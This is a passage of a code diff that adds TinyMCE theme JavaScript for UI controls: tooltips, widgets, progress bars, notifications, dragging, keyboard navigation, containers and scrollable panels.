+  };
+  var $_8zu82i18yjjgwek2l = {
+    testMoveRel: function (elm, rels) {
+      var viewPortRect = getViewPortRect(this);
+      for (var i = 0; i < rels.length; i++) {
+        var pos = calculateRelativePosition(this, elm, rels[i]);
+        if (isFixed(this)) {
+          if (pos.x > 0 && pos.x + pos.w < viewPortRect.w && pos.y > 0 && pos.y + pos.h < viewPortRect.h) {
+            return rels[i];
+          }
+        } else {
+          if (pos.x > viewPortRect.x && pos.x + pos.w < viewPortRect.w && pos.y > viewPortRect.y && pos.y + pos.h < viewPortRect.h) {
+            return rels[i];
+          }
+        }
+      }
+      return rels[0];
+    },
+    moveRel: function (elm, rel) {
+      if (typeof rel !== 'string') {
+        rel = this.testMoveRel(elm, rel);
+      }
+      var pos = calculateRelativePosition(this, elm, rel);
+      return this.moveTo(pos.x, pos.y);
+    },
+    moveBy: function (dx, dy) {
+      var self$$1 = this, rect = self$$1.layoutRect();
+      self$$1.moveTo(rect.x + dx, rect.y + dy);
+      return self$$1;
+    },
+    moveTo: function (x, y) {
+      var self$$1 = this;
+      function constrain(value, max, size) {
+        if (value < 0) {
+          return 0;
+        }
+        if (value + size > max) {
+          value = max - size;
+          return value < 0 ? 0 : value;
+        }
+        return value;
+      }
+      if (self$$1.settings.constrainToViewport) {
+        var viewPortRect = getViewPortRect(this);
+        var layoutRect = self$$1.layoutRect();
+        x = constrain(x, viewPortRect.w, layoutRect.w);
+        y = constrain(y, viewPortRect.h, layoutRect.h);
+      }
+      var uiContainer = $_egt6ye18xjjgwek2h.getUiContainer(self$$1);
+      if (uiContainer && isStatic(uiContainer) && !isFixed(self$$1)) {
+        x -= uiContainer.scrollLeft;
+        y -= uiContainer.scrollTop;
+      }
+      if (uiContainer) {
+        x += 1;
+        y += 1;
+      }
+      if (self$$1.state.get('rendered')) {
+        self$$1.layoutRect({
+          x: x,
+          y: y
+        }).repaint();
+      } else {
+        self$$1.settings.x = x;
+        self$$1.settings.y = y;
+      }
+      self$$1.fire('move', {
+        x: x,
+        y: y
+      });
+      return self$$1;
+    }
+  };
+
+  var Tooltip = Control$1.extend({
+    Mixins: [$_8zu82i18yjjgwek2l],
+    Defaults: { classes: 'widget tooltip tooltip-n' },
+    renderHtml: function () {
+      var self = this, prefix = self.classPrefix;
+      return '<div id="' + self._id + '" class="' + self.classes + '" role="presentation">' + '<div class="' + prefix + 'tooltip-arrow"></div>' + '<div class="' + prefix + 'tooltip-inner">' + self.encode(self.state.get('text')) + '</div>' + '</div>';
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:text', function (e) {
+        self.getEl().lastChild.innerHTML = self.encode(e.value);
+      });
+      return self._super();
+    },
+    repaint: function () {
+      var self = this;
+      var style, rect;
+      style = self.getEl().style;
+      rect = self._layoutRect;
+      style.left = rect.x + 'px';
+      style.top = rect.y + 'px';
+      style.zIndex = 65535 + 65535;
+    }
+  });
+
+  var Widget = Control$1.extend({
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      settings = self.settings;
+      self.canFocus = true;
+      if (settings.tooltip && Widget.tooltips !== false) {
+        self.on('mouseenter', function (e) {
+          var tooltip = self.tooltip().moveTo(-65535);
+          if (e.control === self) {
+            var rel = tooltip.text(settings.tooltip).show().testMoveRel(self.getEl(), [
+              'bc-tc',
+              'bc-tl',
+              'bc-tr'
+            ]);
+            tooltip.classes.toggle('tooltip-n', rel === 'bc-tc');
+            tooltip.classes.toggle('tooltip-nw', rel === 'bc-tl');
+            tooltip.classes.toggle('tooltip-ne', rel === 'bc-tr');
+            tooltip.moveRel(self.getEl(), rel);
+          } else {
+            tooltip.hide();
+          }
+        });
+        self.on('mouseleave mousedown click', function () {
+          self.tooltip().remove();
+          self._tooltip = null;
+        });
+      }
+      self.aria('label', settings.ariaLabel || settings.tooltip);
+    },
+    tooltip: function () {
+      if (!this._tooltip) {
+        this._tooltip = new Tooltip({ type: 'tooltip' });
+        $_egt6ye18xjjgwek2h.inheritUiContainer(this, this._tooltip);
+        this._tooltip.renderTo();
+      }
+      return this._tooltip;
+    },
+    postRender: function () {
+      var self = this, settings = self.settings;
+      self._super();
+      if (!self.parent() && (settings.width || settings.height)) {
+        self.initLayoutRect();
+        self.repaint();
+      }
+      if (settings.autofocus) {
+        self.focus();
+      }
+    },
+    bindStates: function () {
+      var self = this;
+      function disable(state) {
+        self.aria('disabled', state);
+        self.classes.toggle('disabled', state);
+      }
+      function active(state) {
+        self.aria('pressed', state);
+        self.classes.toggle('active', state);
+      }
+      self.state.on('change:disabled', function (e) {
+        disable(e.value);
+      });
+      self.state.on('change:active', function (e) {
+        active(e.value);
+      });
+      if (self.state.get('disabled')) {
+        disable(true);
+      }
+      if (self.state.get('active')) {
+        active(true);
+      }
+      return self._super();
+    },
+    remove: function () {
+      this._super();
+      if (this._tooltip) {
+        this._tooltip.remove();
+        this._tooltip = null;
+      }
+    }
+  });
+
+  var Progress = Widget.extend({
+    Defaults: { value: 0 },
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      self.classes.add('progress');
+      if (!self.settings.filter) {
+        self.settings.filter = function (value) {
+          return Math.round(value);
+        };
+      }
+    },
+    renderHtml: function () {
+      var self = this, id = self._id, prefix = this.classPrefix;
+      return '<div id="' + id + '" class="' + self.classes + '">' + '<div class="' + prefix + 'bar-container">' + '<div class="' + prefix + 'bar"></div>' + '</div>' + '<div class="' + prefix + 'text">0%</div>' + '</div>';
+    },
+    postRender: function () {
+      var self = this;
+      self._super();
+      self.value(self.settings.value);
+      return self;
+    },
+    bindStates: function () {
+      var self = this;
+      function setValue(value) {
+        value = self.settings.filter(value);
+        self.getEl().lastChild.innerHTML = value + '%';
+        self.getEl().firstChild.firstChild.style.width = value + '%';
+      }
+      self.state.on('change:value', function (e) {
+        setValue(e.value);
+      });
+      setValue(self.state.get('value'));
+      return self._super();
+    }
+  });
+
+  var updateLiveRegion = function (ctx, text) {
+    ctx.getEl().lastChild.textContent = text + (ctx.progressBar ? ' ' + ctx.progressBar.value() + '%' : '');
+  };
+  var Notification = Control$1.extend({
+    Mixins: [$_8zu82i18yjjgwek2l],
+    Defaults: { classes: 'widget notification' },
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      self.maxWidth = settings.maxWidth;
+      if (settings.text) {
+        self.text(settings.text);
+      }
+      if (settings.icon) {
+        self.icon = settings.icon;
+      }
+      if (settings.color) {
+        self.color = settings.color;
+      }
+      if (settings.type) {
+        self.classes.add('notification-' + settings.type);
+      }
+      if (settings.timeout && (settings.timeout < 0 || settings.timeout > 0) && !settings.closeButton) {
+        self.closeButton = false;
+      } else {
+        self.classes.add('has-close');
+        self.closeButton = true;
+      }
+      if (settings.progressBar) {
+        self.progressBar = new Progress();
+      }
+      self.on('click', function (e) {
+        if (e.target.className.indexOf(self.classPrefix + 'close') !== -1) {
+          self.close();
+        }
+      });
+    },
+    renderHtml: function () {
+      var self = this;
+      var prefix = self.classPrefix;
+      var icon = '', closeButton = '', progressBar = '', notificationStyle = '';
+      if (self.icon) {
+        icon = '<i class="' + prefix + 'ico' + ' ' + prefix + 'i-' + self.icon + '"></i>';
+      }
+      notificationStyle = ' style="max-width: ' + self.maxWidth + 'px;' + (self.color ? 'background-color: ' + self.color + ';"' : '"');
+      if (self.closeButton) {
+        closeButton = '<button type="button" class="' + prefix + 'close" aria-hidden="true">\xD7</button>';
+      }
+      if (self.progressBar) {
+        progressBar = self.progressBar.renderHtml();
+      }
+      return '<div id="' + self._id + '" class="' + self.classes + '"' + notificationStyle + ' role="presentation">' + icon + '<div class="' + prefix + 'notification-inner">' + self.state.get('text') + '</div>' + progressBar + closeButton + '<div style="clip: rect(1px, 1px, 1px, 1px);height: 1px;overflow: hidden;position: absolute;width: 1px;"' + ' aria-live="assertive" aria-relevant="additions" aria-atomic="true"></div>' + '</div>';
+    },
+    postRender: function () {
+      var self = this;
+      global$3.setTimeout(function () {
+        self.$el.addClass(self.classPrefix + 'in');
+        updateLiveRegion(self, self.state.get('text'));
+      }, 100);
+      return self._super();
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:text', function (e) {
+        self.getEl().firstChild.innerHTML = e.value;
+        updateLiveRegion(self, e.value);
+      });
+      if (self.progressBar) {
+        self.progressBar.bindStates();
+        self.progressBar.state.on('change:value', function (e) {
+          updateLiveRegion(self, self.state.get('text'));
+        });
+      }
+      return self._super();
+    },
+    close: function () {
+      var self = this;
+      if (!self.fire('close').isDefaultPrevented()) {
+        self.remove();
+      }
+      return self;
+    },
+    repaint: function () {
+      var self = this;
+      var style, rect;
+      style = self.getEl().style;
+      rect = self._layoutRect;
+      style.left = rect.x + 'px';
+      style.top = rect.y + 'px';
+      style.zIndex = 65535 - 1;
+    }
+  });
+
+  function NotificationManagerImpl (editor) {
+    var getEditorContainer = function (editor) {
+      return editor.inline ? editor.getElement() : editor.getContentAreaContainer();
+    };
+    var getContainerWidth = function () {
+      var container = getEditorContainer(editor);
+      return funcs.getSize(container).width;
+    };
+    var prePositionNotifications = function (notifications) {
+      each(notifications, function (notification) {
+        notification.moveTo(0, 0);
+      });
+    };
+    var positionNotifications = function (notifications) {
+      if (notifications.length > 0) {
+        var firstItem = notifications.slice(0, 1)[0];
+        var container = getEditorContainer(editor);
+        firstItem.moveRel(container, 'tc-tc');
+        each(notifications, function (notification, index) {
+          if (index > 0) {
+            notification.moveRel(notifications[index - 1].getEl(), 'bc-tc');
+          }
+        });
+      }
+    };
+    var reposition = function (notifications) {
+      prePositionNotifications(notifications);
+      positionNotifications(notifications);
+    };
+    var open = function (args, closeCallback) {
+      var extendedArgs = global$4.extend(args, { maxWidth: getContainerWidth() });
+      var notif = new Notification(extendedArgs);
+      notif.args = extendedArgs;
+      if (extendedArgs.timeout > 0) {
+        notif.timer = setTimeout(function () {
+          notif.close();
+          closeCallback();
+        }, extendedArgs.timeout);
+      }
+      notif.on('close', function () {
+        closeCallback();
+      });
+      notif.renderTo();
+      return notif;
+    };
+    var close = function (notification) {
+      notification.close();
+    };
+    var getArgs = function (notification) {
+      return notification.args;
+    };
+    return {
+      open: open,
+      close: close,
+      reposition: reposition,
+      getArgs: getArgs
+    };
+  }
+
+  function getDocumentSize(doc) {
+    var documentElement, body, scrollWidth, clientWidth;
+    var offsetWidth, scrollHeight, clientHeight, offsetHeight;
+    var max = Math.max;
+    documentElement = doc.documentElement;
+    body = doc.body;
+    scrollWidth = max(documentElement.scrollWidth, body.scrollWidth);
+    clientWidth = max(documentElement.clientWidth, body.clientWidth);
+    offsetWidth = max(documentElement.offsetWidth, body.offsetWidth);
+    scrollHeight = max(documentElement.scrollHeight, body.scrollHeight);
+    clientHeight = max(documentElement.clientHeight, body.clientHeight);
+    offsetHeight = max(documentElement.offsetHeight, body.offsetHeight);
+    return {
+      width: scrollWidth < offsetWidth ? clientWidth : scrollWidth,
+      height: scrollHeight < offsetHeight ? clientHeight : scrollHeight
+    };
+  }
+  function updateWithTouchData(e) {
+    var keys, i;
+    if (e.changedTouches) {
+      keys = 'screenX screenY pageX pageY clientX clientY'.split(' ');
+      for (i = 0; i < keys.length; i++) {
+        e[keys[i]] = e.changedTouches[0][keys[i]];
+      }
+    }
+  }
+  function DragHelper (id, settings) {
+    var $eventOverlay;
+    var doc = settings.document || document;
+    var downButton;
+    var start, stop$$1, drag, startX, startY;
+    settings = settings || {};
+    var handleElement = doc.getElementById(settings.handle || id);
+    start = function (e) {
+      var docSize = getDocumentSize(doc);
+      var handleElm, cursor;
+      updateWithTouchData(e);
+      e.preventDefault();
+      downButton = e.button;
+      handleElm = handleElement;
+      startX = e.screenX;
+      startY = e.screenY;
+      if (window.getComputedStyle) {
+        cursor = window.getComputedStyle(handleElm, null).getPropertyValue('cursor');
+      } else {
+        cursor = handleElm.runtimeStyle.cursor;
+      }
+      $eventOverlay = global$7('<div></div>').css({
+        position: 'absolute',
+        top: 0,
+        left: 0,
+        width: docSize.width,
+        height: docSize.height,
+        zIndex: 2147483647,
+        opacity: 0.0001,
+        cursor: cursor
+      }).appendTo(doc.body);
+      global$7(doc).on('mousemove touchmove', drag).on('mouseup touchend', stop$$1);
+      settings.start(e);
+    };
+    drag = function (e) {
+      updateWithTouchData(e);
+      if (e.button !== downButton) {
+        return stop$$1(e);
+      }
+      e.deltaX = e.screenX - startX;
+      e.deltaY = e.screenY - startY;
+      e.preventDefault();
+      settings.drag(e);
+    };
+    stop$$1 = function (e) {
+      updateWithTouchData(e);
+      global$7(doc).off('mousemove touchmove', drag).off('mouseup touchend', stop$$1);
+      $eventOverlay.remove();
+      if (settings.stop) {
+        settings.stop(e);
+      }
+    };
+    this.destroy = function () {
+      global$7(handleElement).off();
+    };
+    global$7(handleElement).on('mousedown touchstart', start);
+  }
+
+  var global$11 = tinymce.util.Tools.resolve('tinymce.ui.Factory');
+
+  var hasTabstopData = function (elm) {
+    return elm.getAttribute('data-mce-tabstop') ? true : false;
+  };
+  function KeyboardNavigation (settings) {
+    var root = settings.root;
+    var focusedElement, focusedControl;
+    function isElement(node) {
+      return node && node.nodeType === 1;
+    }
+    try {
+      focusedElement = document.activeElement;
+    } catch (ex) {
+      focusedElement = document.body;
+    }
+    focusedControl = root.getParentCtrl(focusedElement);
+    function getRole(elm) {
+      elm = elm || focusedElement;
+      if (isElement(elm)) {
+        return elm.getAttribute('role');
+      }
+      return null;
+    }
+    function getParentRole(elm) {
+      var role, parent$$1 = elm || focusedElement;
+      while (parent$$1 = parent$$1.parentNode) {
+        if (role = getRole(parent$$1)) {
+          return role;
+        }
+      }
+    }
+    function getAriaProp(name$$1) {
+      var elm = focusedElement;
+      if (isElement(elm)) {
+        return elm.getAttribute('aria-' + name$$1);
+      }
+    }
+    function isTextInputElement(elm) {
+      var tagName = elm.tagName.toUpperCase();
+      return tagName === 'INPUT' || tagName === 'TEXTAREA' || tagName === 'SELECT';
+    }
+    function canFocus(elm) {
+      if (isTextInputElement(elm) && !elm.hidden) {
+        return true;
+      }
+      if (hasTabstopData(elm)) {
+        return true;
+      }
+      if (/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell|slider)$/.test(getRole(elm))) {
+        return true;
+      }
+      return false;
+    }
+    function getFocusElements(elm) {
+      var elements = [];
+      function collect(elm) {
+        if (elm.nodeType !== 1 || elm.style.display === 'none' || elm.disabled) {
+          return;
+        }
+        if (canFocus(elm)) {
+          elements.push(elm);
+        }
+        for (var i = 0; i < elm.childNodes.length; i++) {
+          collect(elm.childNodes[i]);
+        }
+      }
+      collect(elm || root.getEl());
+      return elements;
+    }
+    function getNavigationRoot(targetControl) {
+      var navigationRoot, controls;
+      targetControl = targetControl || focusedControl;
+      controls = targetControl.parents().toArray();
+      controls.unshift(targetControl);
+      for (var i = 0; i < controls.length; i++) {
+        navigationRoot = controls[i];
+        if (navigationRoot.settings.ariaRoot) {
+          break;
+        }
+      }
+      return navigationRoot;
+    }
+    function focusFirst(targetControl) {
+      var navigationRoot = getNavigationRoot(targetControl);
+      var focusElements = getFocusElements(navigationRoot.getEl());
+      if (navigationRoot.settings.ariaRemember && 'lastAriaIndex' in navigationRoot) {
+        moveFocusToIndex(navigationRoot.lastAriaIndex, focusElements);
+      } else {
+        moveFocusToIndex(0, focusElements);
+      }
+    }
+    function moveFocusToIndex(idx, elements) {
+      if (idx < 0) {
+        idx = elements.length - 1;
+      } else if (idx >= elements.length) {
+        idx = 0;
+      }
+      if (elements[idx]) {
+        elements[idx].focus();
+      }
+      return idx;
+    }
+    function moveFocus(dir, elements) {
+      var idx = -1;
+      var navigationRoot = getNavigationRoot();
+      elements = elements || getFocusElements(navigationRoot.getEl());
+      for (var i = 0; i < elements.length; i++) {
+        if (elements[i] === focusedElement) {
+          idx = i;
+        }
+      }
+      idx += dir;
+      navigationRoot.lastAriaIndex = moveFocusToIndex(idx, elements);
+    }
+    function left() {
+      var parentRole = getParentRole();
+      if (parentRole === 'tablist') {
+        moveFocus(-1, getFocusElements(focusedElement.parentNode));
+      } else if (focusedControl.parent().submenu) {
+        cancel();
+      } else {
+        moveFocus(-1);
+      }
+    }
+    function right() {
+      var role = getRole(), parentRole = getParentRole();
+      if (parentRole === 'tablist') {
+        moveFocus(1, getFocusElements(focusedElement.parentNode));
+      } else if (role === 'menuitem' && parentRole === 'menu' && getAriaProp('haspopup')) {
+        enter();
+      } else {
+        moveFocus(1);
+      }
+    }
+    function up() {
+      moveFocus(-1);
+    }
+    function down() {
+      var role = getRole(), parentRole = getParentRole();
+      if (role === 'menuitem' && parentRole === 'menubar') {
+        enter();
+      } else if (role === 'button' && getAriaProp('haspopup')) {
+        enter({ key: 'down' });
+      } else {
+        moveFocus(1);
+      }
+    }
+    function tab(e) {
+      var parentRole = getParentRole();
+      if (parentRole === 'tablist') {
+        var elm = getFocusElements(focusedControl.getEl('body'))[0];
+        if (elm) {
+          elm.focus();
+        }
+      } else {
+        moveFocus(e.shiftKey ? -1 : 1);
+      }
+    }
+    function cancel() {
+      focusedControl.fire('cancel');
+    }
+    function enter(aria) {
+      aria = aria || {};
+      focusedControl.fire('click', {
+        target: focusedElement,
+        aria: aria
+      });
+    }
+    root.on('keydown', function (e) {
+      function handleNonTabOrEscEvent(e, handler) {
+        if (isTextInputElement(focusedElement) || hasTabstopData(focusedElement)) {
+          return;
+        }
+        if (getRole(focusedElement) === 'slider') {
+          return;
+        }
+        if (handler(e) !== false) {
+          e.preventDefault();
+        }
+      }
+      if (e.isDefaultPrevented()) {
+        return;
+      }
+      switch (e.keyCode) {
+      case 37:
+        handleNonTabOrEscEvent(e, left);
+        break;
+      case 39:
+        handleNonTabOrEscEvent(e, right);
+        break;
+      case 38:
+        handleNonTabOrEscEvent(e, up);
+        break;
+      case 40:
+        handleNonTabOrEscEvent(e, down);
+        break;
+      case 27:
+        cancel();
+        break;
+      case 14:
+      case 13:
+      case 32:
+        handleNonTabOrEscEvent(e, enter);
+        break;
+      case 9:
+        tab(e);
+        e.preventDefault();
+        break;
+      }
+    });
+    root.on('focusin', function (e) {
+      focusedElement = e.target;
+      focusedControl = e.control;
+    });
+    return { focusFirst: focusFirst };
+  }
+
+  var selectorCache = {};
+  var Container = Control$1.extend({
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      settings = self.settings;
+      if (settings.fixed) {
+        self.state.set('fixed', true);
+      }
+      self._items = new Collection$2();
+      if (self.isRtl()) {
+        self.classes.add('rtl');
+      }
+      self.bodyClasses = new ClassList(function () {
+        if (self.state.get('rendered')) {
+          self.getEl('body').className = this.toString();
+        }
+      });
+      self.bodyClasses.prefix = self.classPrefix;
+      self.classes.add('container');
+      self.bodyClasses.add('container-body');
+      if (settings.containerCls) {
+        self.classes.add(settings.containerCls);
+      }
+      self._layout = global$11.create((settings.layout || '') + 'layout');
+      if (self.settings.items) {
+        self.add(self.settings.items);
+      } else {
+        self.add(self.render());
+      }
+      self._hasBody = true;
+    },
+    items: function () {
+      return this._items;
+    },
+    find: function (selector) {
+      selector = selectorCache[selector] = selectorCache[selector] || new Selector(selector);
+      return selector.find(this);
+    },
+    add: function (items) {
+      var self = this;
+      self.items().add(self.create(items)).parent(self);
+      return self;
+    },
+    focus: function (keyboard) {
+      var self = this;
+      var focusCtrl, keyboardNav, items;
+      if (keyboard) {
+        keyboardNav = self.keyboardNav || self.parents().eq(-1)[0].keyboardNav;
+        if (keyboardNav) {
+          keyboardNav.focusFirst(self);
+          return;
+        }
+      }
+      items = self.find('*');
+      if (self.statusbar) {
+        items.add(self.statusbar.items());
+      }
+      items.each(function (ctrl) {
+        if (ctrl.settings.autofocus) {
+          focusCtrl = null;
+          return false;
+        }
+        if (ctrl.canFocus) {
+          focusCtrl = focusCtrl || ctrl;
+        }
+      });
+      if (focusCtrl) {
+        focusCtrl.focus();
+      }
+      return self;
+    },
+    replace: function (oldItem, newItem) {
+      var ctrlElm;
+      var items = this.items();
+      var i = items.length;
+      while (i--) {
+        if (items[i] === oldItem) {
+          items[i] = newItem;
+          break;
+        }
+      }
+      if (i >= 0) {
+        ctrlElm = newItem.getEl();
+        if (ctrlElm) {
+          ctrlElm.parentNode.removeChild(ctrlElm);
+        }
+        ctrlElm = oldItem.getEl();
+        if (ctrlElm) {
+          ctrlElm.parentNode.removeChild(ctrlElm);
+        }
+      }
+      newItem.parent(this);
+    },
+    create: function (items) {
+      var self = this;
+      var settings;
+      var ctrlItems = [];
+      if (!global$4.isArray(items)) {
+        items = [items];
+      }
+      global$4.each(items, function (item) {
+        if (item) {
+          if (!(item instanceof Control$1)) {
+            if (typeof item === 'string') {
+              item = { type: item };
+            }
+            settings = global$4.extend({}, self.settings.defaults, item);
+            item.type = settings.type = settings.type || item.type || self.settings.defaultType || (settings.defaults ? settings.defaults.type : null);
+            item = global$11.create(settings);
+          }
+          ctrlItems.push(item);
+        }
+      });
+      return ctrlItems;
+    },
+    renderNew: function () {
+      var self = this;
+      self.items().each(function (ctrl, index) {
+        var containerElm;
+        ctrl.parent(self);
+        if (!ctrl.state.get('rendered')) {
+          containerElm = self.getEl('body');
+          if (containerElm.hasChildNodes() && index <= containerElm.childNodes.length - 1) {
+            global$7(containerElm.childNodes[index]).before(ctrl.renderHtml());
+          } else {
+            global$7(containerElm).append(ctrl.renderHtml());
+          }
+          ctrl.postRender();
+          $_cqjgb518wjjgwek2f.add(ctrl);
+        }
+      });
+      self._layout.applyClasses(self.items().filter(':visible'));
+      self._lastRect = null;
+      return self;
+    },
+    append: function (items) {
+      return this.add(items).renderNew();
+    },
+    prepend: function (items) {
+      var self = this;
+      self.items().set(self.create(items).concat(self.items().toArray()));
+      return self.renderNew();
+    },
+    insert: function (items, index, before) {
+      var self = this;
+      var curItems, beforeItems, afterItems;
+      items = self.create(items);
+      curItems = self.items();
+      if (!before && index < curItems.length - 1) {
+        index += 1;
+      }
+      if (index >= 0 && index < curItems.length) {
+        beforeItems = curItems.slice(0, index).toArray();
+        afterItems = curItems.slice(index).toArray();
+        curItems.set(beforeItems.concat(items, afterItems));
+      }
+      return self.renderNew();
+    },
+    fromJSON: function (data) {
+      var self = this;
+      for (var name in data) {
+        self.find('#' + name).value(data[name]);
+      }
+      return self;
+    },
+    toJSON: function () {
+      var self = this, data = {};
+      self.find('*').each(function (ctrl) {
+        var name = ctrl.name(), value = ctrl.value();
+        if (name && typeof value !== 'undefined') {
+          data[name] = value;
+        }
+      });
+      return data;
+    },
+    renderHtml: function () {
+      var self = this, layout = self._layout, role = this.settings.role;
+      self.preRender();
+      layout.preRender(self);
+      return '<div id="' + self._id + '" class="' + self.classes + '"' + (role ? ' role="' + this.settings.role + '"' : '') + '>' + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
+    },
+    postRender: function () {
+      var self = this;
+      var box;
+      self.items().exec('postRender');
+      self._super();
+      self._layout.postRender(self);
+      self.state.set('rendered', true);
+      if (self.settings.style) {
+        self.$el.css(self.settings.style);
+      }
+      if (self.settings.border) {
+        box = self.borderBox;
+        self.$el.css({
+          'border-top-width': box.top,
+          'border-right-width': box.right,
+          'border-bottom-width': box.bottom,
+          'border-left-width': box.left
+        });
+      }
+      if (!self.parent()) {
+        self.keyboardNav = KeyboardNavigation({ root: self });
+      }
+      return self;
+    },
+    initLayoutRect: function () {
+      var self = this, layoutRect = self._super();
+      self._layout.recalc(self);
+      return layoutRect;
+    },
+    recalc: function () {
+      var self = this;
+      var rect = self._layoutRect;
+      var lastRect = self._lastRect;
+      if (!lastRect || lastRect.w !== rect.w || lastRect.h !== rect.h) {
+        self._layout.recalc(self);
+        rect = self.layoutRect();
+        self._lastRect = {
+          x: rect.x,
+          y: rect.y,
+          w: rect.w,
+          h: rect.h
+        };
+        return true;
+      }
+    },
+    reflow: function () {
+      var i;
+      $_cqjgb518wjjgwek2f.remove(this);
+      if (this.visible()) {
+        Control$1.repaintControls = [];
+        Control$1.repaintControls.map = {};
+        this.recalc();
+        i = Control$1.repaintControls.length;
+        while (i--) {
+          Control$1.repaintControls[i].repaint();
+        }
+        if (this.settings.layout !== 'flow' && this.settings.layout !== 'stack') {
+          this.repaint();
+        }
+        Control$1.repaintControls = [];
+      }
+      return this;
+    }
+  });
+
+  var $_8woeth19ajjgwek4b = {
+    init: function () {
+      var self = this;
+      self.on('repaint', self.renderScroll);
+    },
+    renderScroll: function () {
+      var self = this, margin = 2;
+      function repaintScroll() {
+        var hasScrollH, hasScrollV, bodyElm;
+        function repaintAxis(axisName, posName, sizeName, contentSizeName, hasScroll, ax) {
+          var containerElm, scrollBarElm, scrollThumbElm;
+          var containerSize, scrollSize, ratio, rect;
+          var posNameLower, sizeNameLower;
+          scrollBarElm = self.getEl('scroll' + axisName);
+          if (scrollBarElm) {
+            posNameLower = posName.toLowerCase();
+            sizeNameLower = sizeName.toLowerCase();
+            global$7(self.getEl('absend')).css(posNameLower, self.layoutRect()[contentSizeName] - 1);
+            if (!hasScroll) {
+              global$7(scrollBarElm).css('display', 'none');
+              return;
+            }
+            global$7(scrollBarElm).css('display', 'block');
+            containerElm = self.getEl('body');
+            scrollThumbElm = self.getEl('scroll' + axisName + 't');
+            containerSize = containerElm['client' + sizeName] - margin * 2;
+            containerSize -= hasScrollH && hasScrollV ? scrollBarElm['client' + ax] : 0;
+            scrollSize = containerElm['scroll' + sizeName];
+            ratio = containerSize / scrollSize;
+            rect = {};
+            rect[posNameLower] = containerElm['offset' + posName] + margin;
+            rect[sizeNameLower] = containerSize;
+            global$7(scrollBarElm).css(rect);
+            rect = {};
+            rect[posNameLower] = containerElm['scroll' + posName] * ratio;
+            rect[sizeNameLower] = containerSize * ratio;
+            global$7(scrollThumbElm).css(rect);
+          }
+        }
+        bodyElm = self.getEl('body');
+        hasScrollH = bodyElm.scrollWidth > bodyElm.clientWidth;
+        hasScrollV = bodyElm.scrollHeight > bodyElm.clientHeight;
+        repaintAxis('h', 'Left', 'Width', 'contentW', hasScrollH, 'Height');
+        repaintAxis('v', 'Top', 'Height', 'contentH', hasScrollV, 'Width');
+      }
+      function addScroll() {
+        function addScrollAxis(axisName, posName, sizeName, deltaPosName, ax) {
+          var scrollStart;
+          var axisId = self._id + '-scroll' + axisName, prefix = self.classPrefix;
+          global$7(self.getEl()).append('<div id="' + axisId + '" class="' + prefix + 'scrollbar ' + prefix + 'scrollbar-' + axisName + '">' + '<div id="' + axisId + 't" class="' + prefix + 'scrollbar-thumb"></div>' + '</div>');
+          self.draghelper = new DragHelper(axisId + 't', {
+            start: function () {
+              scrollStart = self.getEl('body')['scroll' + posName];
+              global$7('#' + axisId).addClass(prefix + 'active');
+            },
+            drag: function (e) {
+              var ratio, hasScrollH, hasScrollV, containerSize;
+              var layoutRect = self.layoutRect();
+              hasScrollH = layoutRect.contentW > layoutRect.innerW;
+              hasScrollV = layoutRect.contentH > layoutRect.innerH;
+              containerSize = self.getEl('body')['client' + sizeName] - margin * 2;
+              containerSize -= hasScrollH && hasScrollV ? self.getEl('scroll' + axisName)['client' + ax] : 0;
+              ratio = containerSize / self.getEl('body')['scroll' + sizeName];
+              self.getEl('body')['scroll' + posName] = scrollStart + e['delta' + deltaPosName] / ratio;
+            },
+            stop: function () {
+              global$7('#' + axisId).removeClass(prefix + 'active');
+            }
+          });
+        }
+        self.classes.add('scroll');
+        addScrollAxis('v', 'Top', 'Height', 'Y', 'Width');
+        addScrollAxis('h', 'Left', 'Width', 'X', 'Height');
+      }
+      if (self.settings.autoScroll) {
+        if (!self._hasScroll) {
+          self._hasScroll = true;
+          addScroll();
+          self.on('wheel', function (e) {
+            var bodyEl = self.getEl('body');
+            bodyEl.scrollLeft += (e.deltaX || 0) * 10;
+            bodyEl.scrollTop += e.deltaY * 10;
+            repaintScroll();
+          });
+          global$7(self.getEl('body')).on('scroll', repaintScroll);
+        }
+        repaintScroll();
+      }
+    }
+  };
+
+  var Panel = Container.extend({
+    Defaults: {
+      layout: 'fit',
+      containerCls: 'panel'
+    },
+    Mixins: [$_8woeth19ajjgwek4b],
+    renderHtml: function () {
+      var self = this;
+      var layout = self._layout;
+      var innerHtml = self.settings.html;
+      self.preRender();
+      layout.preRender(self);
+      if (typeof innerHtml === 'undefined') {
+        innerHtml = '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + layout.renderHtml(self) + '</div>';
+      } else {
+        if (typeof innerHtml === 'function') {
+          innerHtml = innerHtml.call(self);
+        }
+        self._hasBody = false;
+      }
+      return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1" role="group">' + (self._preBodyHtml || '') + innerHtml + '</div>';
+    }
+  });
+
+  var $_20hy1119bjjgwek4f = {
+    resizeToContent: function () {
+      this._layoutRect.autoResize = true;
+      this._lastRect = null;
+      this.reflow();
+    },
+    resizeTo: function (w, h) {
+      if (w <= 1 || h <= 1) {
+        var rect = funcs.getWindowSize();
+        w = w <= 1 ? w * rect.w : w;
+        h = h <= 1 ? h * rect.h : h;
+      }
+      this._layoutRect.autoResize = false;
+      return this.layoutRect({
+        minW: w,
+        minH: h,
+        w: w,
+        h: h
+      }).reflow();
+    },
+    resizeBy: function (dw, dh) {
+      var self = this, rect = self.layoutRect();
+      return self.resizeTo(rect.w + dw, rect.h + dh);
+    }
+  };
+
+  var documentClickHandler;
+  var documentScrollHandler;
+  var windowResizeHandler;
+  var visiblePanels = [];
+  var zOrder = [];
+  var hasModal;
+  function isChildOf(ctrl, parent$$1) {
+    while (ctrl) {
+      if (ctrl === parent$$1) {
+        return true;
+      }
+      ctrl = ctrl.parent();
+    }
+  }
+  function skipOrHidePanels(e) {
+    var i = visiblePanels.length;
+    while (i--) {
+      var panel = visiblePanels[i], clickCtrl = panel.getParentCtrl(e.target);
+      if (panel.settings.autohide) {
+        if (clickCtrl) {
